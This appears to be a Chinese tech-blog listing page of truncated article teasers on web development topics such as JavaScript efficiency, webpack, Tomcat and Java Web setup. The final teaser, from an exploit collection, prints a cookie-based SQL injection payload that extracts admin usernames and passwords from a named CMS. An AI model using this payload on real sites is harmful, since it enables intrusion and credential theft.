高性能WEB开发:Javascript自身执行效率

Javascript中的作用域链、闭包、原型继承、eval等特性,在提供各种神奇功能的同时也带来了各种效率问题,用之不慎就会导致执行效率低下。1、全局导入  我们在编码过程中多多少少会使用到一些全局变量(window、document、自定义全局变量等等),了解javascript作用域链的人都知道,在局部作用域中访问全局变量需要一层一层遍历整个作用域链直至顶级作用域,而局部变量的访问效率则会
阅读本文

web移动开发中如何实现图标点击态的蒙层效果

webapp开发中经常需要加入点击二态,即用户点击(tap)页面某个部分时该部分的样式进行相应的变化来相应用户的点击操作,这样能够带来更好的用户体验,今天我们要讨论的是如何给图标加上点击的二态效果。先来看下需求吧~如果判断用户的点击操作?这个应该不用多说,使用css的伪类选择:active即可,这儿需要注意的是不要使用:hover,有些新手往往会直接使用:hover,一方面兼容性比较差,另一方面响
阅读本文

web移动开发小贴士

1、判断手机类型var u = navigator.userAgent;var isAndroid = u.indexOf(‘Android‘) > -1 || u.indexOf(‘Adr‘) > -1; //androidvar isiOS = !!u.match(/(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端2、iphone及ipad下输入框默认内阴影El
阅读本文

webpack2进阶之多文件,DLL,以及webpack-merge

本需要对webpack已有一定的了解,如果你没接触过webpack或者刚刚接触webpack,可以考虑先看一下我的这篇教程。1.打包多文件之前,当需要打包多个而文件时,我是这么写的:module.exports={ entry:{ “page/main/main“:‘./src/js/index.js‘, “page/car/car“:“./src/js/car.js“,
阅读本文

流媒体相关交互协议和开源服务介绍

SIP协议SIP是Session Initialization Protocol (会话初始协议)的缩写,用来建立、更改和终止一个或者多个参与者的会话。这些会话包括多媒体会议、网络呼叫等。 SDP协议SDP是Session Description Protocol(会话描述协议)的缩写,主要是用于在会话建立过程中对流媒体相关信息进行描述的协议。SIP协议建立到结束会话的过程中一般需要携带SDP数据
阅读本文

javaweb 常见问题-第1篇-中文乱码

在javaweb开发中很经常的碰到一个问题,那就是中文乱码: 解决方案有以下几点: 1.配置server.xml,解决从页面传值到后台时出现乱码: <Connector port=“8080“ maxThreads=“150“ minSpareThreads=“25“ maxSpareThreads=“75“     enableLookups=“false“ redirectPort=“
阅读本文

08 tomcat学习笔记

一、Tomcat服务器(很熟悉) 1、Web开发概述javaSE: javaEE:13种 javaME:JavaEE规范: 13种技术的总称。Servlet/Jsp  JDBC  JNDI  JTA... Tomcat:Servlet/Jsp容器,轻量级服务器。   2、Tomcat下载Tomcat官方站点:http://tomcat.apache.org  3、Tomcat的安装与配置3.1、
阅读本文

2017.9.16 Java Web 应用开发环境与开发工具(更新)

1.JDK的下载与安装  1.1 在网址:http://javase/downloads/index.jsp网站下载最新的JDK版本  1.2 安装jdk,双击下载好的.exe文件运行,一般默认安装在c盘,安装完成的目录在C:Program Files (x86)Java,    则该目录下有jdk1.6.0_2和jre6两个子目录他们分别存放java的运行环境和开发环境。  1.3 另外还要
阅读本文

2017.9.15 学习总结(五)

定义:它是指从一个对象指向另一个对象的指针,它可以是网页中的一段文字   也可以是一张图片,以实现从一个页面到另一个页面的跳转。  2.5 图片标记格式:<img src=“url” alt=““ height=““ width=““>其中,属性src:指定图像源的url路径 ;alt:替代文本 ;  height:图片的高度 ;width:图片的宽度 2.6 定时刷新或跳转(1)定时自刷新,基本
阅读本文

JavaWeb学习入门之——Java基础(1)

一、Java概述  JavaEE是指Java Enterprise Edition,Java企业版,多用于企业级开发,包括web开发等等。也叫J2EE。  JavaSE通常是指Java Standard Edition,Java标准版,就是一般Java程序的开发就可以(如桌面程序),可以看作是JavaEE的子集。  Java是一门语言,J2EE是Java语言的一门使用技术,Java为J2EE提供了
阅读本文

JavaWeb学习总结(一)——web入门

一、基本概念1.1、WEB开发的相关知识  WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源。  Internet上供外界访问的Web资源分为:静态web资源(如html 页面):指web页面中供人们浏览的数据始终是不变。动态web资源:指web页面中供人们浏览的数据是由程序产生的,不同时间点访问web页面看到的内容各不相同。  静态web资源开发技术:Ht
阅读本文

Web 开发模式演变历史和趋势

一、简单明快的早期时代      可称之为 Web 1.0 时代,非常适合创业型小项目,不分前后端,经常 3-5 人搞定所有开发。页面由 JSP、PHP 等工程师在服务端生成,浏览器负责展现。基本上是服务端给什么浏览器就展现什么,展现的控制在 Web Server 层。   这种模式的好处是:简单明快,本地起一个 Tomcat 或 Apache 就能开发,调试什么的都还好,只要业务不太
阅读本文

webpack学习资源集合及学习笔记

webpack学习资源集合及学习笔记   webpack最新推荐  初级教程: 进阶教程: 如何开发一个 Webpack Loader ( 一 )【译】基于 Webpack 和 ES6 打造 JavaScript 类库webpack常用配置总结【译】Webpack——令人困惑的地方基于webpack搭建前端工程解决方案探索webpack在PC项目中的应用webpack实践最后一篇开发工具心得:
阅读本文

vue+webpack 组件化开发基本配置

package.json{ “name“: “xxx“, “description“: “vue test“, “version“: “1.0.0“, “author“: “xxxx“, “private“: true, “scripts“: { “dev“: “cross-env NODE_ENV=development webpack-dev-server --
阅读本文

AngularJS开发WebApp的流程

前端构建工具的使用: 路由管理模块的配置和使用: 内置指令的使用方法; 自定义指令; 过滤器; promise和ajax内置服务; 第三方模块编写自定义服务; 表单校验; AngularJS装饰器修改ajax服务(使前端也能响应post请求,从而脱离后端独立开发调试) 所需要具备的知识: 基础知识:JS、HTML、CSS 前端知识:AJAX、Promise 课程知识:Less
阅读本文

以Base64字符串形式上传文件——在web浏览器端使用原生Javascript及Ajax读取本地文件并发送请求到服务器

简述在常规的web开发过程中,大部分上传文件都是在web页面端通过表单直接提交,再由服务器端捕获请求来进行处理的。但是在前后端分离趋于一种流行趋势,再加上Android和iOS开发技术日渐成熟,大部分团队都会选择在服务器端仅提供一套通用的webservice数据接口,而web页面、Android和iOS统一都通过这套数据接口来向服务器发送请求和获取数据。在这一过程中,大部分的webservice数
阅读本文

Java Web应用开发技术简介

java web应用一般定义为:一个有HTML/XML文档,java Servlet,JSP(java Server Pages),JSTL(Java Server Pages Standard Tag Library),类以及其他任何种类文件可以捆绑起来,并在来自多个厂商的多个Web容器上运行的Web资源构成的集合。一:Java Web应用开发是基于JavaEE框架的,而JavaEE是建立在
阅读本文

移动端web开发常见问题------彭记(023)

Meta相关1. 添加到主屏后的标题(IOS)2. 启用 WebApp 全屏模式(IOS)3. 百度禁止转码通过百度手机打开网页时,百度可能会对你的网页进行转码,往你页面贴上它的广告,非常之恶心。不过我们可以通过这个meta标签来禁止它:百度SiteApp转码声明:http://t.cn/R28wSBl4. 设置状态栏的背景颜色(IOS)设置状态栏的背景颜色,只有在“apple-mobile-w
阅读本文

常用的主流WEB漏洞,EXP合集

启航企业建站系统 cookie注入漏洞通杀所有版本直接上exploit:javascript:alert(document.cookie=“id=“+escape(“1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin“));test:http://www.hackernc.com/system/xitong/sh
阅读本文